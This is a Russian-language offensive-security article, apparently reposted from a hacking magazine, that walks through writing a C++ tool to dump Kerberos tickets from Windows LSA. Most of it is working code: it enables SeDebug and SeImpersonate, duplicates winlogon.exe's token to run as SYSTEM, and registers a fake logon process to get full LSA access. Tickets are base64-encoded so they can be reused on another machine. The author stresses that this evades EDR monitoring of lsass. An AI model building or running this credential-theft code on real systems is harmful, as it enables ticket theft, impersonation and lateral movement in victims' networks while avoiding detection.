Категория > Новости > Дерем три шкуры. Как дампить тикеты Kerberos на C++ - «Новости»

Дерем три шкуры. Как дампить тикеты Kerberos на C++ - «Новости»


26-05-2023, 00:00. Автор: Ferguson
од­ной из моих прош­лых ста­тей ты узнал, что такое SSP, SP и AP. Теперь пора начинать ими зло­упот­реблять по‑нас­тояще­му! Мы будем обра­щать­ся к AP Kerberos и дос­тавать из него билеты. Этот AP по умол­чанию всег­да при­сутс­тву­ет в про­цес­се lsass.exe, поэто­му для вза­имо­дей­ствия с ним будут исполь­зовать­ся стан­дар­тные API, которые нуж­ны для работы с LSA.
Под­гру­жен­ная kerberos.dll

Нам пот­ребу­ется все­го нес­коль­ко фун­кций:




  • LsaConnectUntrusted;


  • LsaRegisterLogonProcess;


  • LsaGetLogonSessionData;


  • LsaEnumerateLogonSessions;


  • LsaCallAuthenticationPackage.


Да, дамп будет выпол­нен без вся­кой магии, стан­дар­тны­ми, легитим­ными вызова­ми API. Я пом­ню, как однажды услы­шал, буд­то дамп тикетов осу­щест­вля­ется путем чте­ния, а затем пар­синг памяти LSASS. Так вот, друзья мои, ни Rubeus, ни Mimikatz так не дела­ют. Оба инс­тру­мен­та дам­пят точ­но так же, с помощью тех же самых апи­шек.


Ито­говый резуль­тат получил­ся более чем кры­шес­носный. Если у нас есть пра­ва локаль­ного адми­нис­тра­тора, то мы выг­рузим абсо­лют­но ВСЕ тикеты из сис­темы.


Дамп тикетов от лица при­виле­гиро­ван­ной УЗ

А если прав адми­нис­тра­тора нет, то смо­жем получить лишь тикеты из сеан­са вхо­да текуще­го поль­зовате­ля.


Ти­кеты текуще­го поль­зовате­ля

Итак, прис­тупим к написа­нию инс­тру­мен­та.


 

Начало работы


При вза­имо­дей­ствии по про­токо­лу Kerberos меж­ду кли­ентом и KDC или служ­бой исполь­зует­ся AP Kerberos. Внут­ри его кеша будут хра­нить­ся все сес­сион­ные клю­чи, а так­же получен­ные поль­зовате­лем TGT- и TGS-билеты. Но каким обра­зом AP Kerberos понима­ет, что этот тикет при­над­лежит такому‑то поль­зовате­лю, а этот дру­гому? Здесь в игру всту­пают LUID. LUID — некий иден­тифика­тор текущей сес­сии. Мы можем уви­деть текущий LUID с помощью коман­ды klist.


Те­кущий LUID 0x3e121

Для успешно­го дам­па тикетов дру­гих поль­зовате­лей нам нуж­но знать их LUID. Перечис­лить LUID мож­но с помощью LsaGetLogonSessionData(). Под­робнее эту фун­кцию мы рас­смот­рим чуточ­ку поз­же, но отме­чу, что если мы не име­ем прав адми­нис­тра­тора, то ник­то не даст нам сдам­пить чужие тикеты, поэто­му подоб­ная раз­ведка может ока­зать­ся бес­смыс­ленной.


Во‑пер­вых, я пред­лагаю соз­дать заголо­воч­ный файл stuff.h, куда мы помес­тим все про­тоти­пы фун­кций, дру­гие заголо­воч­ные фай­лы и некото­рые перечис­ляемые зна­чения с заделом на будущее.


#pragma once
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <NTSecAPI.h>
#include <iostream>
#include <sddl.h>
#include <algorithm>
#include <string>
#include <TlHelp32.h>
#include <cstring>
#include <cstdlib>
#include <iomanip>
#include <map>
#define DEBUG
#include <locale>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#pragma comment (lib, "Secur32.lib")
const PCWCHAR TicketFlagsToStrings[] = {
L"name_canonicalize", L"?", L"ok_as_delegate", L"?",
L"hw_authent", L"pre_authent", L"initial", L"renewable",
L"invalid", L"postdated", L"may_postdate", L"proxy",
L"proxiable", L"forwarded", L"forwardable", L"reserved",
};
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
LSA_STRING* create_lsa_string(const char* value);
bool EnablePrivilege(PCWSTR privName, bool enable);
DWORD ImpersonateSystem();
BOOL LsaConnect(PHANDLE LsaHandle);
VOID filetimeToTime(const FILETIME* time);
VOID ParseTktFlags(ULONG flags);
DWORD ReceiveLogonInfo(HANDLE LsaHandle, LUID LogonId, ULONG kerberosAP);
ULONG GetKerberosPackage(HANDLE LsaHandle, LSA_STRING lsastr);

По­ка мы не будем углублять­ся в под­робнос­ти работы каж­дой фун­кции — я рас­ска­жу о них чуть поз­же. Мы так­же добави­ли мас­сив сим­волов для кодиро­вания в Base64. Кодиро­вать тикет в Base64 нуж­но по той при­чине, что он пред­став­ляет собой бинар­ные дан­ные, которые невоз­можно кор­рек­тно отоб­разить.


Дерем три шкуры. Как дампить тикеты Kerberos на C++ - «Новости»
Ти­кет в голом виде

Как ты видишь, здесь огромное количес­тво непеча­таемых сим­волов. Раз­ве что прос­матри­вает­ся имя домена. Эти дан­ные никак не получит­ся ско­пиро­вать, вста­вить на дру­гой компь­ютер, а затем внед­рить, поэто­му при­меня­ем кодиро­вание в Base64. Фун­кция для кодиро­вания выг­лядит вот так:


std::string base64_encode(const unsigned char* bytes_to_encode, size_t in_len) {
std::string out;
int val = 0, valb = -6;
for (size_t i = 0; i < in_len; ++i) {
unsigned char c = bytes_to_encode[i];
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back(base64_chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');
return out;
}

Она как раз исполь­зует этот самый мас­сив сим­волов. Теперь перей­дем в самое начало нашего кода, в фун­кцию main:


int main() {
setlocale(LC_ALL, "");
ShowAwesomeBanner();
HANDLE LsaHandle = NULL;
BOOL DumpAllTickets = FALSE;
if (LsaConnect(&LsaHandle)) {
#ifdef DEBUG
std::wcout << L"[+] I'll dump all tickets" << std::endl;
#endif
DumpAllTickets = TRUE;
}
else {
#ifdef DEBUG
std::wcout << L"[-] I'll dump tickets of current user" << std::endl;
#endif
}
#ifdef DEBUG
std::wcout << L"[+] LsaHandle: " << (unsigned long)LsaHandle << std::endl;
#endif
PLSA_STRING krbname = create_lsa_string("kerberos");
ULONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname);
#ifdef DEBUG
std::wcout << L"[+] Kerberos AP: " << kerberosAP << std::endl;
#endif

Уж изви­ни меня за такое количес­тво дирек­тив для преп­роцес­сора. Сна­чала думал их убрать, а потом оста­вил. Если тебе не нуж­но лиш­него боль­шого вывода, где инс­тру­мент будет сооб­щать обо всем, что он дела­ет с сис­темой, то прос­то из фай­ла stuff.h убе­ри стро­ку #define DEBUG. Если же пот­ребу­ется отсле­дить весь поток вызовов, оставляй ее.


Итак, пер­вым делом мы ста­вим локаль, что­бы наш инс­тру­мент умел успешно работать с любыми язы­ками, хоть с рус­ским, хоть с япон­ским, хоть с кап­падокий­ским диалек­том гре­чес­кого язы­ка. Далее в фун­кции ShowAwesomeBanner() мы выводим наш суперс­траш­ный череп (ведь никакая хакер­ская тул­за не обой­дет­ся без него), а затем нас­тупа­ет этап под­клю­чения к LSA в фун­кции LsaConnect().


 

Особенности дампа


Наш инс­тру­мент замеча­телен тем, что тикеты будет отда­вать сам AP Kerberos. При­чем этот вари­ант мож­но счи­тать дос­таточ­но скрыт­ным. Быть может, на каких‑то пен­тестах ты замечал, что сдам­пить LSASS стан­дар­тны­ми средс­тва­ми не получа­ется, но при этом какой‑нибудь Rubeus.exe dump успешно отра­баты­вает. Зна­ешь почему?


Проб­лема зак­люча­ется в том, что боль­шинс­тво EDR (да и вся­ких дру­гих новомод­ных средств защиты, в рек­ламу которых вбу­хива­ют мил­лионы дол­ларов) отсле­жива­ет при­митив­ные фун­кции для получе­ния хен­дла на про­цесс lsass.exe. Нап­ример, хука­ют тот же OpenProcess(). Вся­кие более прод­винутые вари­анты исполь­зуют чуть боль­шее чис­ло вари­антов, но это­го мало. Мы будем вза­имо­дей­ство­вать не с про­цес­сом lsass.exe, а со служ­бой LSA. Нам не понадо­бит­ся получать хендл на про­цесс, мы получим хендл толь­ко на саму служ­бу, поэто­му задетек­тировать наш инс­тру­мент будет чуточ­ку слож­нее.


 

Подключение к LSA


Что­бы начать вза­имо­дей­ство­вать с AP Kerberos, сле­дует под­клю­чить­ся к LSA, ведь имен­но LSA управля­ет все­ми пакета­ми аутен­тифика­ции. Под­клю­чение я вынес в отдель­ную фун­кцию LsaConnect(). Она при­нима­ет адрес, который ини­циали­зиру­ется валид­ным хен­длом на LSA, если смо­жет его получить.


// Вызов функции
HANDLE LsaHandle = NULL;
LsaConnect(&LsaHandle);
// Функция
BOOL LsaConnect(PHANDLE LsaHandle) {
NTSTATUS status = 0;
wchar_t username[256];
DWORD usernamesize;
#ifdef DEBUG
GetUserName(username, &usernamesize);
std::wcout << L"[?] Current user: " << username << std::endl;
std::wcout << L"[?] Trying to get system" << std::endl;
#endif
if (ImpersonateSystem() != 0) {
#ifdef DEBUG
std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;
#endif
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
else {
GetUserName(username, &usernamesize);
PLSA_STRING krbname = create_lsa_string("MzHmO Dumper");
LSA_OPERATIONAL_MODE info;
#ifdef DEBUG
std::wcout << L"[?] Current user: " << username << std::endl;
#endif
status = LsaRegisterLogonProcess(krbname, LsaHandle, &info);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] Cant Register Logon Process" << std::endl;
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
return TRUE;
}
}

Итак, имен­но в этой фун­кции мы будем про­верять, получит­ся ли сдам­пить тикеты всех поль­зовате­лей, либо мы огра­ничим­ся толь­ко текущим. Сна­чала получа­ем имя поль­зовате­ля, от лица которо­го запущен инс­тру­мент, пос­ле чего дер­гает­ся фун­кция ImpersonateSystem(). Она дос­таточ­но прос­та — спер­ва пыта­ется добавить поль­зовате­лю при­виле­гию SeDebug и SeImpersonate, затем получа­ет хендл на про­цесс winlogon.exe (мож­но заменить любым дру­гим, запущен­ным от лица сис­темы). Наконец, исполь­зуя этот хендл, фун­кция получа­ет токен про­цес­са winlogon.exe и при­меня­ет его к текуще­му потоку, что поз­волит добить­ся выпол­нения кода от лица сис­темы.


DWORD ImpersonateSystem() {
if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)) {
#ifdef DEBUG
std::wcout << "[!] Error enabling SeDebugPrivilege" << std::endl;
#endif
return 1;
}
else {
#ifdef DEBUG
std::wcout << "[+] SeDebugPrivilege Enabled" << std::endl;
#endif
}
if (!EnablePrivilege(SE_IMPERSONATE_NAME, TRUE)) {
#ifdef DEBUG
std::wcout << "[!] Error enabling SeImpersonatePrivilege" << std::endl;
#endif
return 1;
}
else {
#ifdef DEBUG
std::wcout << "[+] SeImpersonatePrivilege Enabled" << std::endl;
#endif
}
DWORD systemPID = GetWinlogonPid();
if (systemPID == 0) {
#ifdef DEBUG
std::wcout << "[!] Error getting PID to Winlogon process" << std::endl;
#endif
return 1;
}
HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, systemPID);
DWORD dw = 0;
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] OpenProcess failed: " << dw << std::endl;
#endif
return 1;
}
HANDLE hSystemTokenHandle;
OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenHandle);
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] OpenProcessToken failed: " << dw << std::endl;
#endif
return 1;
}
HANDLE newTokenHandle;
DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &newTokenHandle);
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] DuplicateTokenEx failed: " << dw << std::endl;
#endif
return 1;
}
ImpersonateLoggedOnUser(newTokenHandle);
return 0;
}

Фун­кции для работы с токена­ми мы уже рас­смат­ривали в стать­ях «Privileger. Управля­ем при­виле­гиями в Windows» и «Свин API. Изу­чаем воз­можнос­ти WinAPI для пен­тесте­ра», поэто­му не вижу смыс­ла на них оста­нав­ливать­ся. GetWinlogonPid(), исполь­зуя CreateToolhelp32Snapshot(), получа­ет спи­сок текущих про­цес­сов, а затем про­бега­ется по ним, что­бы обна­ружить про­цесс с нуж­ным име­нем, то есть winlogon.exe.


DWORD GetWinlogonPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0)
{
return entry.th32ProcessID;
}
}
}
return 0;
}

Ес­ли хотя бы одна из этих опе­раций обо­рачи­вает­ся неуда­чей, то нам будет суж­дено сдам­пить лишь тикеты текуще­го поль­зовате­ля. ImpersonateSystem() вер­нет 0, если успешно получи­ла выпол­нение кода от лица сис­темы, и -1, если что‑то пош­ло не так. Поэто­му добав­ляем прос­тое усло­вие if.


if (ImpersonateSystem() != 0) {
#ifdef DEBUG
std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;
#endif
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}

Нач­нем с вари­анта, в котором нам не уда­лось добить­ся исполне­ния кода от лица сис­темы. В таком слу­чае при­дет­ся нем­ножко взгрус­тнуть, получить обыч­ный хендл на LSA и вер­нуть FALSE. Получе­ние хен­дла на LSA через LsaConnectUntrusted() при­ведет к тому, что все «ядер­ные» воз­можнос­ти дам­па чужих тикетов ока­жут­ся нам недос­тупны. Мы будем счи­тать­ся, бук­валь­но говоря, недове­рен­ным про­цес­сом. В даль­нейшем этот воз­вра­щен­ный FALSE про­веря­ется и уста­нав­лива­ется соот­ветс­тву­ющий фла­жок, который сиг­нализи­рует, воз­можен дамп тикетов из всех сес­сий или нет.


if (LsaConnect(&LsaHandle)) {
std::wcout << L"[+] I'll dump all tickets" << std::endl;
DumpAllTickets = TRUE;
}
else {
std::wcout << L"[-] I'll dump tickets of current user" << std::endl;
}

Ес­ли же нам повез­ло чуть боль­ше, то теперь наша прог­рамма исполня­ется от лица сис­темы, поэто­му регис­три­руем про­цесс вхо­да в сис­тему. Сде­лать это мож­но с помощью LsaRegisterLogonProcess(). Ука­зан­ная фун­кция при­нима­ет имя нового про­цес­са вхо­да, некото­рую (не осо­бо важ­ную) допол­нитель­ную информа­цию, а воз­вра­щает «ядер­ный» хендл на LSA.


else {
GetUserName(username, &usernamesize);
PLSA_STRING krbname = create_lsa_string("MzHmO Dumper");
LSA_OPERATIONAL_MODE info;
#ifdef DEBUG
std::wcout << L"[?] Current user: " << username << std::endl;
#endif
status = LsaRegisterLogonProcess(krbname, LsaHandle, &info);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] Cant Register Logon Process" << std::endl;
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
return TRUE;
}

По­лучен­ный с помощью фун­кции LsaRegisterLogonProcess() хендл не име­ет никаких огра­ниче­ний в пла­не вза­имо­дей­ствия с LSA. Его мож­но исполь­зовать для любых целей, мы фак­тичес­ки ста­новим­ся про­цес­сом вхо­да, поч­ти как winlogon.exe. Про­цесс вхо­да дол­жен иметь свое уни­каль­ное имя, что­бы LSA мог­ла понимать, к кому обра­щать­ся. LSA вос­при­нима­ет стро­ки толь­ко в виде спе­циаль­ной струк­туры LSA_STRING. Для кор­рек­тной ини­циали­зации всех эле­мен­тов этой струк­туры я так­же сде­лал спе­циаль­ную фун­кцию:


LSA_STRING* create_lsa_string(const char* value)
{
char* buf = new char[100];
LSA_STRING* str = (LSA_STRING*)buf;
str->Length = strlen(value);
str->MaximumLength = str->Length;
str->Buffer = buf + sizeof(LSA_STRING);
memcpy(str->Buffer, value, str->Length);
return str;
}

Пос­ле соз­дания име­ни для нашего про­цес­са вхо­да пора наконец‑то вызывать LsaRegisterLogonProcess(). Обра­ти вни­мание, что я не забыл обра­ботать воз­можную ошиб­ку, ведь мало ли что может про­исхо­дить в сис­теме, вдруг LsaRegisterLogonProcess() не даст зарегис­три­ровать новый про­цесс вхо­да. Поэто­му, если вызов фун­кции обер­нулся ошиб­кой, мы прос­то воз­вра­щаем­ся к опи­сан­ному рань­ше вари­анту через LsaConnectUntrusted(). В таком слу­чае сдам­пить все тикеты, само собой, не получит­ся.



Перейти обратно к новости